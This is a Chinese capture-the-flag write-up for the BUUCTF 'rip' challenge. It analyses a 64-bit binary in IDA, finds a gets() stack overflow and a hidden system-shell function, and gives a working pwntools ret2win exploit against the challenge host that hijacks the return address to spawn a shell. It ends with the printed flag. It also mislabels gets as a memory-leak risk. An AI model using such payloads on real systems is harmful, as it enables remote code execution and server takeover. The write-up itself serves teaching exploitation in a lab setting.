rip题解
1.查看文件保护机制
使用的是新版本的checksec
2.拖入IDA分析
查壳
是一个64文件,拖入64位IDA
这个文件就是我们要攻击的服务器中的一个进程的代码,进程就是一个正在运行的程序
分析敏感函数
打开字符串窗口
跟进,光标点在command,Ctrl+x交叉引用,查看使用字符串的函数
继续跟进
按下空格键切换为文本模式
发现函数地址在0000000000401186
按下F5反编译
发现这个函数就是调用system来进入shell
只要调用了这个函数就可以进入shell,我们就实现了pwn的目的
我们也知道了这个函数的地址
分析main函数
main函数是程序的入口
发现这个进程会用gets函数来接收一个字符串
gets函数是容易导致内存泄露的非常危险的函数,因为gets并没有输入的字符数量的限制
s能存储的字符数为15个,剩下的都会溢出
分析这个进程之后我们接下来要做什么,就是一个运行着main函数的进程,我们要用gets函数导致的栈溢出漏洞来劫持进程,运行那个敏感函数,来进入shell
3.hack
文件分析完毕,开始hack
原理
原理是什么呢
内存中有程序开辟的空间
栈空间是从高地址像低地址扩展的
我们在调用一个过程(函数)的时候,会将上一个函数的返回地址压入栈中(回到上一个函数的时候使用这个地址返回),然后在栈(内存)中的是当前过程的指针(EBP)
之后进栈的是我们的局部变量s数组
s在内存中的地址是比存储EBP和返回地址更低的
我们可以写入s,利用15个字符来填充s,用接下来的8个字符来填充EBP,后面的字符就会覆盖了原来的返回地址,这一步叫进程劫持
这样这个程序返回时,就会返回我们想要去的地方
我们想要去的就是那个敏感函数
我们就要把这个发送给被hack的服务器,劫持进程,拿到shell
就可以随心所欲地操作服务器了
返回地址 |
EBP |
s[15] |
操作
需要安装Python3环境和pwntools
点击Launch,获得主机名和端口号,一个端口号对应一个进程
我们python3命令进入Python环境
输入from pwn import *导入pwn包
io=remote("node4.buuoj.cn",29965)
创建一个对象,出入主机名和端口号
io.sendline('A'*15+'B'*8+p64(0x401186+1).decode("iso-8859-1"))
向进程发送一个消息来实现利用StackOverflow漏洞的攻击,获得shell
io.interactive()
现在我们获得了shell
完全掌控了对方的服务器
用cat命令将flag中的内容来输出
flag{4c524f38-e6ba-462f-b39c-e73630801af1}
- 点赞
- 收藏
- 关注作者
评论(0)